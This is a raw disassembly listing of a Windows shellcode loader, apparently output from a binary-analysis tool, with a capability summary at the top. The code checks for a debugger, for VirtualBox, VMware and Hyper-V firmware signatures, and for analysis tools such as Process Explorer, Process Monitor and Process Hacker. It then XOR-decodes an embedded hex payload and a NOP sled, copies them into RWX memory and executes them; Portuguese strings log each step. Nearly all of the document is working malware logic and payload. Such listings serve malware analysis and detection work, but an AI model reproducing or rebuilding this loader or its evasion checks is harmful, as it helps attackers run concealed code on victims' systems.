Function at 0x140001110
Capabilities:
Allocate or change rwx memory
Encode data using xor
Enumerate processes
Execute shellcode via indirect call
Get system firmware table

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x290
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x270], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x140001299
mov esi, dword [str.VBOX]
xor r9d, r9d
movzx edi, byte [0x1400032d4]
xor r8d, r8d
xor edx, edx
mov ecx, 0x41435049
call qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
mov ebp, eax
test eax, eax
je 0x140001210
mov ecx, ebp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
je 0x140001210
mov r9d, ebp
mov r8, rax
xor edx, edx
mov ecx, 0x41435049
call qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
test eax, eax
je 0x140001207
xor ecx, ecx
lea rdx, [rbp - 5]
test rdx, rdx
je 0x1400011ba
xor eax, eax
cmp dword [rax + rbx], esi
jne 0x1400011b0
cmp byte [rax + rbx + 4], dil
je 0x1400012c3
inc ecx
movsxd rax, ecx
cmp rax, rdx
jb 0x1400011a0
xor eax, eax
lea rdx, [rbp - 4]
test rdx, rdx
je 0x140001207
xor ecx, ecx
nop word [rax + rax]
cmp dword [rcx + rbx], 0x574d56
je 0x1400012c3
inc eax
movsxd rcx, eax
cmp rcx, rdx
jb 0x1400011d0
xor eax, eax
xor ecx, ecx
nop dword [rax + rax]
cmp dword [rcx + rbx], 0x505948
je 0x1400012c3
inc eax
movsxd rcx, eax
cmp rcx, rdx
jb 0x1400011f0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
test eax, eax
jne 0x140001299
xor edx, edx
lea ecx, [rax + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x238
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000134c
lea rdi, str.procexp.exe
lea rsi, str.procmon.exe
lea rbp, str.ProcessHacker.exe
nop dword [rax + rax]
lea rdx, [rsp + 0x5c]
xor ecx, ecx
nop word [rax + rax]
movzx eax, word [rdx + rcx*2]
cmp ax, word [rdi + rcx*2]
jne 0x1400012d6
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [rdi + rcx*2 + 2]
jne 0x1400012d6
add rcx, 2
cmp rcx, 0xc
jne 0x140001270
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Ambiente_de_an
call fcn.1400016b0
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140001790
add rsp, 0x290
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, 1
jmp 0x140001212
lea rdx, [rsp + 0x5c]
xor ecx, ecx
nop dword [rax]
movzx eax, word [rdx + rcx*2]
cmp ax, word [rsi + rcx*2]
jne 0x140001302
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [rsi + rcx*2 + 2]
jne 0x140001302
add rcx, 2
cmp rcx, 0xc
jne 0x1400012e0
jmp 0x140001290
lea rdx, [rsp + 0x5c]
xor eax, eax
nop dword [rax]
movzx ecx, word [rdx + rax*2]
cmp cx, word [rbp + rax*2]
jne 0x140001336
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rbp + rax*2 + 2]
jne 0x140001336
add rax, 2
cmp rax, 0x12
jne 0x140001310
jmp 0x140001290
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001260
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x2c0], r12
lea rsi, str.dacf4889e36681e3f0fa4d31f6480fae036641bed60148bfc18bec9c809841714883c3084c8b1b49ffce4b317cf3344d85f675f38cba08c8c1c708cb396f9e5e646082851a498add017fa189a7ca505381d14edfc6c267f388d1bebd8fbab879a2d5c495b478cfaaba6b48dd4325723973b855704ac49a7a874884293cae5d775c58c334ca7e5df38852ed76cf3725241d6bed0cef0ae7bec1c2d11563408c7f15660ff5a31ab75a034584cee3c020a606f574e1adef80f6b9ac72a0efcab0f6b8d07ae593052beab8aa5add514899775cce7519d9a503fadc47b6b4e7daa22c67d3b3a4d0a77eacca8cea8791504fe08acabb09da2d8874adcec119e4ef57b2edb8ebfd5832d26c55a5d2f737bc821f0cbcd00b53dbd824944818f1e79688b7d40f497baaeb7f03c40f334b9229a31abc9a8e1be551a293047a9498748246922c8fd53334f98d95e7cf1ddf0a09a6a019c61c2f6a47da6fb8e31c55527f182c77e955bca2a26d80988d0cc04ae6d3826efdc7d365a8fc62b63fdc669401532c75611448d36f1e549acb0248a9672796a9c577ad7be403fe38b527e403211e9c5ed3455dd52524e4f1e83316032beca63988e0ed07af71ed8fc36ad43ee276edf5cb5616079966c08e1675056e554691c17a84db28a4edb0dfe8c85b0f9893a1643da33b06a6cda864b93374b1e8459148dd1270cbc87e53158f6c5868501a0227132eff76e862689b94330c45acc0ba085d011f505c9141401b246f3e54d41a0f63ebcf0750ae0234a121961072b5fe8fc5e073ffd38120f6754432cc49e5ebab5e345e4e58ac28a59671fbe38b9c69e3b349fbe3f7952f9b6c9af3e78db5145916c30dbe2eab4c1c026809316ccd910d9647ffe72f16abbef91c41c7fa63ceb3c9db48c60a0682ce36405cc27016b80c0050483c7b5f435ebdd99d9fe1e23a2c30545358e2a991e7bdd9a500205b7d39d9d19fbf295ff9ad9267d536104ebda2961dd508d2ade195cfa4c11fb6c94b022713a83056b005fb9d92815882ecb5bebfe4d19f197a79d0b6d0b8d7ae36f0e9a2a08ed3d406cb2b06f1268961632230bb79ef5b97d0cd6db23927b73929e368930ac8ebd38f4e1c90b31db0dfd5659aec649889dfaf5da62e3fd5ff895fe35053cb341f8dd5d5faebc7d1611b4568779397acef1ea84739bc771195956647c9df396d422e7943b3ff03af8db60bf018f506191a67df36580b289415f04e72f65c7b3fcaa694d9fad7c8768d8b54b7f7e6aa3e3ac2dc8ecfbd8b3a40dae24c736f3b10b0b413b6669d50ee0ce7ab10df6bb4e9b19571a37db9dba765c84b98a4e102a3e145012fe86d3b9b96490555d857f9bdfca49c79bde0bd6850e585ebc3199e7992f4f1fc74f1d447b0f3301e2eb8936a709d392864f02424fba4054852f45e04c46685abdc7760bbafc4b7a76c7a2a9888dd6caaecd305fe5487557d730bca20e132d1af6e5ab22065a4981920d48b1501ad9c6300ef4927b5cfdc9c158a2bdeaccf5ad37246fb131d3d7d97abf667e9f42b333cce4ecbb2dfe65d348cc685cf006b6430f6e6bf0d315c56593754e3b31aec6c702d5465fc7d2432d1148f011259decbe69fa7545330e6cc8897e3a11d4d1155ae9399b1278f7476da6f880659c06347ca77df95536e662192570cbb878304465bbaf24dadb15e4f5b4a9502d07ef06b5b30953a1288eaa0874629ddee845813649816dfe31da0214b904f663581dd76cb3fd03b5488e080c23b54ba1a3fad0cfb1b2ab11e45953239ea2289ccc2e3849d7a5c65fd3a2f1c1a6798a7bcae4dfd805559ebfc66a5a37d7a6fb6f56755c03602a02fcc672fe00fc00df028fedd2c966c4180b5ccfaeccb4fb11b2de3b4c36b4f087f8aa5207fd69f509ba121f66567b0888bd9de7a4f63ca80b41b858500e541d86f845e2ce6284b34dde689ec907d36708142aef54820b6d9de1cc8f97d54bfd92e7c838582c998dd5444bd47889bc2c94ca8b55d8917e755b26ad032770449c144a80c4e89a58186a3f379b98929e98888c562f03f6762b1a9a742f045475a7345aaf6fac12f997a52fd9a7b2cd3d0972a7826e63e9c62b6d7495393d227d0a552935363b168a962e68c531991556b44df59079f7fd2015daffc079f4138b0f233622867df7f7fab4c956c4f89d5ae0ba72d0bd68925cf47dfea9cff8d5fff7c1ded8c90a239684dc1876ea5deea0868036404c7da7932623e3827b19b313caa7cf04fd26a30cccc3388b0674330b6c40a4ab28286a2844fe71f2943571fe930bdc5b2b18f6b2acb6c7e8a3ed53fedb45bcdb2f4ad8d906bcae3b28ebdb1529e8db85a3c6440bf0adbcbeccb3d6e4497e4284ff53d54609fb3e00e346b40dd557c4647ffe5fc6b18f47f4283f8fc1120c9bdb2d6e19e20d9658b3aabdc10593badaeb2e186aa3d6a8abf05334066ff7888e6f216fe1e5a057747de12843e64c7d08c0dcbc5f30a3e0534f6fac97606108b79d548363ef048808a0ed25b8a650b8c9e29cdc6f39abaa89a53e5fd31460ba52cca8581cc5bfe4b69debfd176bf8bd5646abf1a90f646679a84775f355fcdc8f78390a4de5d77d028a794deee67b51fb216f66d8c4933480a1b13943b8e7d160f5f5a7181fe3d9021d1119476f300166197401f398eefb847933a27034c38343095edeb033517fc503cecef9241610981cffacf5e13310a0494d3badbb7fae4d99523db93cb2d46fb9559ebaf09288066a9bb4eb90399d06887cb301ea4ae408e61fd87e043b55be39f5d57f55eea6689870500172215f4a6877f302be065946bfce9940b3758ffe6ecf625f747ea07b5ec2b8c5644706a1be4a5c6c29c7856af89a22139777fec975288254347442eca67b3ed78
mov qword [rsp + 0x2c8], r13
mov qword [rsp + 0x2d0], r15
movaps xmmword [rsp + 0x280], xmm6
xor ecx, ecx
lea r14, [0x140005147]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ebp, eax
mov eax, 0x68de3af
imul ebp
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x270f
sub ebp, ecx
movsx ecx, bpl
movd xmm6, ecx
mov ecx, 0x15
punpcklbw xmm6, xmm6
punpcklwd xmm6, xmm6
pshufd xmm6, xmm6, 0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea r8, str.90909090909090909090
mov qword [rsp + 0x20], rax
sub r8, rax
mov edx, 0x14
mov r9, rax
mov rcx, rax
nop
movzx eax, bpl
xor al, byte [rcx + r8]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x1400013f0
mov byte [r9 + 0x14], dl
mov rcx, r9
movzx edx, bpl
call section..text
mov r12, rax
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001420
shr rbx, 1
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor edi, edi
mov r13, rax
test rbx, rbx
je 0x140001468
mov rsi, r12
lea r8, [rdi + r13]
mov rcx, rsi
lea rdx, str._2hhx
call fcn.140001720
inc rdi
add rsi, 2
cmp rdi, rbx
jb 0x140001442
lea rsi, str.dacf4889e36681e3f0fa4d31f6480fae036641bed60148bfc18bec9c809841714883c3084c8b1b49ffce4b317cf3344d85f675f38cba08c8c1c708cb396f9e5e646082851a498add017fa189a7ca505381d14edfc6c267f388d1bebd8fbab879a2d5c495b478cfaaba6b48dd4325723973b855704ac49a7a874884293cae5d775c58c334ca7e5df38852ed76cf3725241d6bed0cef0ae7bec1c2d11563408c7f15660ff5a31ab75a034584cee3c020a606f574e1adef80f6b9ac72a0efcab0f6b8d07ae593052beab8aa5add514899775cce7519d9a503fadc47b6b4e7daa22c67d3b3a4d0a77eacca8cea8791504fe08acabb09da2d8874adcec119e4ef57b2edb8ebfd5832d26c55a5d2f737bc821f0cbcd00b53dbd824944818f1e79688b7d40f497baaeb7f03c40f334b9229a31abc9a8e1be551a293047a9498748246922c8fd53334f98d95e7cf1ddf0a09a6a019c61c2f6a47da6fb8e31c55527f182c77e955bca2a26d80988d0cc04ae6d3826efdc7d365a8fc62b63fdc669401532c75611448d36f1e549acb0248a9672796a9c577ad7be403fe38b527e403211e9c5ed3455dd52524e4f1e83316032beca63988e0ed07af71ed8fc36ad43ee276edf5cb5616079966c08e1675056e554691c17a84db28a4edb0dfe8c85b0f9893a1643da33b06a6cda864b93374b1e8459148dd1270cbc87e53158f6c5868501a0227132eff76e862689b94330c45acc0ba085d011f505c9141401b246f3e54d41a0f63ebcf0750ae0234a121961072b5fe8fc5e073ffd38120f6754432cc49e5ebab5e345e4e58ac28a59671fbe38b9c69e3b349fbe3f7952f9b6c9af3e78db5145916c30dbe2eab4c1c026809316ccd910d9647ffe72f16abbef91c41c7fa63ceb3c9db48c60a0682ce36405cc27016b80c0050483c7b5f435ebdd99d9fe1e23a2c30545358e2a991e7bdd9a500205b7d39d9d19fbf295ff9ad9267d536104ebda2961dd508d2ade195cfa4c11fb6c94b022713a83056b005fb9d92815882ecb5bebfe4d19f197a79d0b6d0b8d7ae36f0e9a2a08ed3d406cb2b06f1268961632230bb79ef5b97d0cd6db23927b73929e368930ac8ebd38f4e1c90b31db0dfd5659aec649889dfaf5da62e3fd5ff895fe35053cb341f8dd5d5faebc7d1611b4568779397acef1ea84739bc771195956647c9df396d422e7943b3ff03af8db60bf018f506191a67df36580b289415f04e72f65c7b3fcaa694d9fad7c8768d8b54b7f7e6aa3e3ac2dc8ecfbd8b3a40dae24c736f3b10b0b413b6669d50ee0ce7ab10df6bb4e9b19571a37db9dba765c84b98a4e102a3e145012fe86d3b9b96490555d857f9bdfca49c79bde0bd6850e585ebc3199e7992f4f1fc74f1d447b0f3301e2eb8936a709d392864f02424fba4054852f45e04c46685abdc7760bbafc4b7a76c7a2a9888dd6caaecd305fe5487557d730bca20e132d1af6e5ab22065a4981920d48b1501ad9c6300ef4927b5cfdc9c158a2bdeaccf5ad37246fb131d3d7d97abf667e9f42b333cce4ecbb2dfe65d348cc685cf006b6430f6e6bf0d315c56593754e3b31aec6c702d5465fc7d2432d1148f011259decbe69fa7545330e6cc8897e3a11d4d1155ae9399b1278f7476da6f880659c06347ca77df95536e662192570cbb878304465bbaf24dadb15e4f5b4a9502d07ef06b5b30953a1288eaa0874629ddee845813649816dfe31da0214b904f663581dd76cb3fd03b5488e080c23b54ba1a3fad0cfb1b2ab11e45953239ea2289ccc2e3849d7a5c65fd3a2f1c1a6798a7bcae4dfd805559ebfc66a5a37d7a6fb6f56755c03602a02fcc672fe00fc00df028fedd2c966c4180b5ccfaeccb4fb11b2de3b4c36b4f087f8aa5207fd69f509ba121f66567b0888bd9de7a4f63ca80b41b858500e541d86f845e2ce6284b34dde689ec907d36708142aef54820b6d9de1cc8f97d54bfd92e7c838582c998dd5444bd47889bc2c94ca8b55d8917e755b26ad032770449c144a80c4e89a58186a3f379b98929e98888c562f03f6762b1a9a742f045475a7345aaf6fac12f997a52fd9a7b2cd3d0972a7826e63e9c62b6d7495393d227d0a552935363b168a962e68c531991556b44df59079f7fd2015daffc079f4138b0f233622867df7f7fab4c956c4f89d5ae0ba72d0bd68925cf47dfea9cff8d5fff7c1ded8c90a239684dc1876ea5deea0868036404c7da7932623e3827b19b313caa7cf04fd26a30cccc3388b0674330b6c40a4ab28286a2844fe71f2943571fe930bdc5b2b18f6b2acb6c7e8a3ed53fedb45bcdb2f4ad8d906bcae3b28ebdb1529e8db85a3c6440bf0adbcbeccb3d6e4497e4284ff53d54609fb3e00e346b40dd557c4647ffe5fc6b18f47f4283f8fc1120c9bdb2d6e19e20d9658b3aabdc10593badaeb2e186aa3d6a8abf05334066ff7888e6f216fe1e5a057747de12843e64c7d08c0dcbc5f30a3e0534f6fac97606108b79d548363ef048808a0ed25b8a650b8c9e29cdc6f39abaa89a53e5fd31460ba52cca8581cc5bfe4b69debfd176bf8bd5646abf1a90f646679a84775f355fcdc8f78390a4de5d77d028a794deee67b51fb216f66d8c4933480a1b13943b8e7d160f5f5a7181fe3d9021d1119476f300166197401f398eefb847933a27034c38343095edeb033517fc503cecef9241610981cffacf5e13310a0494d3badbb7fae4d99523db93cb2d46fb9559ebaf09288066a9bb4eb90399d06887cb301ea4ae408e61fd87e043b55be39f5d57f55eea6689870500172215f4a6877f302be065946bfce9940b3758ffe6ecf625f747ea07b5ec2b8c5644706a1be4a5c6c29c7856af89a22139777fec975288254347442eca67b3ed78
mov ecx, 0x1dc9
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r15, rax
xor r9d, r9d
add rax, 0x1dc7
cmp r15, r14
ja 0x140001491
cmp rax, rsi
jb 0x140001491
mov rax, r15
neg rax
jmp 0x1400014f5
mov rax, r15
lea rcx, [r15 + 0x20]
neg rax
mov edx, 0x77
mov r9d, 0x1dc0
lea r8, [rax + rsi]
lea r10, [rax + rsi]
nop
movdqu xmm0, xmmword [rcx + r8 - 0x20]
movdqu xmm1, xmmword [rcx + r8]
lea rcx, [rcx + 0x40]
xorps xmm0, xmm6
xorps xmm1, xmm6
movdqu xmmword [rcx - 0x60], xmm0
movdqu xmm0, xmmword [r10 + rcx - 0x50]
xorps xmm0, xmm6
movdqu xmmword [rcx - 0x50], xmm0
movdqu xmm0, xmmword [r10 + rcx - 0x30]
movdqu xmmword [rcx - 0x40], xmm1
xorps xmm0, xmm6
movdqu xmmword [rcx - 0x30], xmm0
sub rdx, 1
jne 0x1400014b0
mov edx, 0x1dc8
lea rcx, [r9 + r15]
sub rdx, r9
lea r8, [rax + rsi]
nop word [rax + rax]
movzx eax, bpl
xor al, byte [r8 + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140001510
mov byte [r15 + 0x1dc8], dl
mov rcx, r15
movzx edx, bpl
call section..text
mov rbp, rax
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rbx + rax], 0
jne 0x140001541
shr rbx, 1
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor edi, edi
mov r14, rax
test rbx, rbx
je 0x140001596
mov rsi, rbp
nop dword [rax]
nop word [rax + rax]
lea r8, [rdi + r14]
mov rcx, rsi
lea rdx, str._2hhx
call fcn.140001720
inc rdi
add rsi, 2
cmp rdi, rbx
jb 0x140001570
lea rsi, str.dacf4889e36681e3f0fa4d31f6480fae036641bed60148bfc18bec9c809841714883c3084c8b1b49ffce4b317cf3344d85f675f38cba08c8c1c708cb396f9e5e646082851a498add017fa189a7ca505381d14edfc6c267f388d1bebd8fbab879a2d5c495b478cfaaba6b48dd4325723973b855704ac49a7a874884293cae5d775c58c334ca7e5df38852ed76cf3725241d6bed0cef0ae7bec1c2d11563408c7f15660ff5a31ab75a034584cee3c020a606f574e1adef80f6b9ac72a0efcab0f6b8d07ae593052beab8aa5add514899775cce7519d9a503fadc47b6b4e7daa22c67d3b3a4d0a77eacca8cea8791504fe08acabb09da2d8874adcec119e4ef57b2edb8ebfd5832d26c55a5d2f737bc821f0cbcd00b53dbd824944818f1e79688b7d40f497baaeb7f03c40f334b9229a31abc9a8e1be551a293047a9498748246922c8fd53334f98d95e7cf1ddf0a09a6a019c61c2f6a47da6fb8e31c55527f182c77e955bca2a26d80988d0cc04ae6d3826efdc7d365a8fc62b63fdc669401532c75611448d36f1e549acb0248a9672796a9c577ad7be403fe38b527e403211e9c5ed3455dd52524e4f1e83316032beca63988e0ed07af71ed8fc36ad43ee276edf5cb5616079966c08e1675056e554691c17a84db28a4edb0dfe8c85b0f9893a1643da33b06a6cda864b93374b1e8459148dd1270cbc87e53158f6c5868501a0227132eff76e862689b94330c45acc0ba085d011f505c9141401b246f3e54d41a0f63ebcf0750ae0234a121961072b5fe8fc5e073ffd38120f6754432cc49e5ebab5e345e4e58ac28a59671fbe38b9c69e3b349fbe3f7952f9b6c9af3e78db5145916c30dbe2eab4c1c026809316ccd910d9647ffe72f16abbef91c41c7fa63ceb3c9db48c60a0682ce36405cc27016b80c0050483c7b5f435ebdd99d9fe1e23a2c30545358e2a991e7bdd9a500205b7d39d9d19fbf295ff9ad9267d536104ebda2961dd508d2ade195cfa4c11fb6c94b022713a83056b005fb9d92815882ecb5bebfe4d19f197a79d0b6d0b8d7ae36f0e9a2a08ed3d406cb2b06f1268961632230bb79ef5b97d0cd6db23927b73929e368930ac8ebd38f4e1c90b31db0dfd5659aec649889dfaf5da62e3fd5ff895fe35053cb341f8dd5d5faebc7d1611b4568779397acef1ea84739bc771195956647c9df396d422e7943b3ff03af8db60bf018f506191a67df36580b289415f04e72f65c7b3fcaa694d9fad7c8768d8b54b7f7e6aa3e3ac2dc8ecfbd8b3a40dae24c736f3b10b0b413b6669d50ee0ce7ab10df6bb4e9b19571a37db9dba765c84b98a4e102a3e145012fe86d3b9b96490555d857f9bdfca49c79bde0bd6850e585ebc3199e7992f4f1fc74f1d447b0f3301e2eb8936a709d392864f02424fba4054852f45e04c46685abdc7760bbafc4b7a76c7a2a9888dd6caaecd305fe5487557d730bca20e132d1af6e5ab22065a4981920d48b1501ad9c6300ef4927b5cfdc9c158a2bdeaccf5ad37246fb131d3d7d97abf667e9f42b333cce4ecbb2dfe65d348cc685cf006b6430f6e6bf0d315c56593754e3b31aec6c702d5465fc7d2432d1148f011259decbe69fa7545330e6cc8897e3a11d4d1155ae9399b1278f7476da6f880659c06347ca77df95536e662192570cbb878304465bbaf24dadb15e4f5b4a9502d07ef06b5b30953a1288eaa0874629ddee845813649816dfe31da0214b904f663581dd76cb3fd03b5488e080c23b54ba1a3fad0cfb1b2ab11e45953239ea2289ccc2e3849d7a5c65fd3a2f1c1a6798a7bcae4dfd805559ebfc66a5a37d7a6fb6f56755c03602a02fcc672fe00fc00df028fedd2c966c4180b5ccfaeccb4fb11b2de3b4c36b4f087f8aa5207fd69f509ba121f66567b0888bd9de7a4f63ca80b41b858500e541d86f845e2ce6284b34dde689ec907d36708142aef54820b6d9de1cc8f97d54bfd92e7c838582c998dd5444bd47889bc2c94ca8b55d8917e755b26ad032770449c144a80c4e89a58186a3f379b98929e98888c562f03f6762b1a9a742f045475a7345aaf6fac12f997a52fd9a7b2cd3d0972a7826e63e9c62b6d7495393d227d0a552935363b168a962e68c531991556b44df59079f7fd2015daffc079f4138b0f233622867df7f7fab4c956c4f89d5ae0ba72d0bd68925cf47dfea9cff8d5fff7c1ded8c90a239684dc1876ea5deea0868036404c7da7932623e3827b19b313caa7cf04fd26a30cccc3388b0674330b6c40a4ab28286a2844fe71f2943571fe930bdc5b2b18f6b2acb6c7e8a3ed53fedb45bcdb2f4ad8d906bcae3b28ebdb1529e8db85a3c6440bf0adbcbeccb3d6e4497e4284ff53d54609fb3e00e346b40dd557c4647ffe5fc6b18f47f4283f8fc1120c9bdb2d6e19e20d9658b3aabdc10593badaeb2e186aa3d6a8abf05334066ff7888e6f216fe1e5a057747de12843e64c7d08c0dcbc5f30a3e0534f6fac97606108b79d548363ef048808a0ed25b8a650b8c9e29cdc6f39abaa89a53e5fd31460ba52cca8581cc5bfe4b69debfd176bf8bd5646abf1a90f646679a84775f355fcdc8f78390a4de5d77d028a794deee67b51fb216f66d8c4933480a1b13943b8e7d160f5f5a7181fe3d9021d1119476f300166197401f398eefb847933a27034c38343095edeb033517fc503cecef9241610981cffacf5e13310a0494d3badbb7fae4d99523db93cb2d46fb9559ebaf09288066a9bb4eb90399d06887cb301ea4ae408e61fd87e043b55be39f5d57f55eea6689870500172215f4a6877f302be065946bfce9940b3758ffe6ecf625f747ea07b5ec2b8c5644706a1be4a5c6c29c7856af89a22139777fec975288254347442eca67b3ed78
xor ecx, ecx
mov edx, 0xeee
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x140001649
mov rdx, rax
lea rcx, str.Memoria_alocada_no_endereco:_0x_p_n
call fcn.1400016b0
movsd xmm0, qword [r13]
lea rcx, [rbx + 0xa]
movsd qword [rbx], xmm0
mov r8d, 0xee4
movzx edx, word [r13 + 8]
mov word [rbx + 8], dx
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rcx, str.Nopsled_e_shellcode_foram_escritos_na_memoria_alocada__n
call fcn.1400016b0
lea rcx, str.Chamando_a_funcao_do_shellcode..._n
call fcn.1400016b0
call rbx
lea rcx, str.A_funcao_do_shellcode_foi_executada_com_sucesso__n
call fcn.1400016b0
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000137c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Falha_ao_alocar_memoria:__d_n
call fcn.1400016b0
movaps xmm6, xmmword [rsp + 0x280]
mov r15, qword [rsp + 0x2d0]
mov r13, qword [rsp + 0x2c8]
mov r12, qword [rsp + 0x2c0]
jmp 0x1400012a5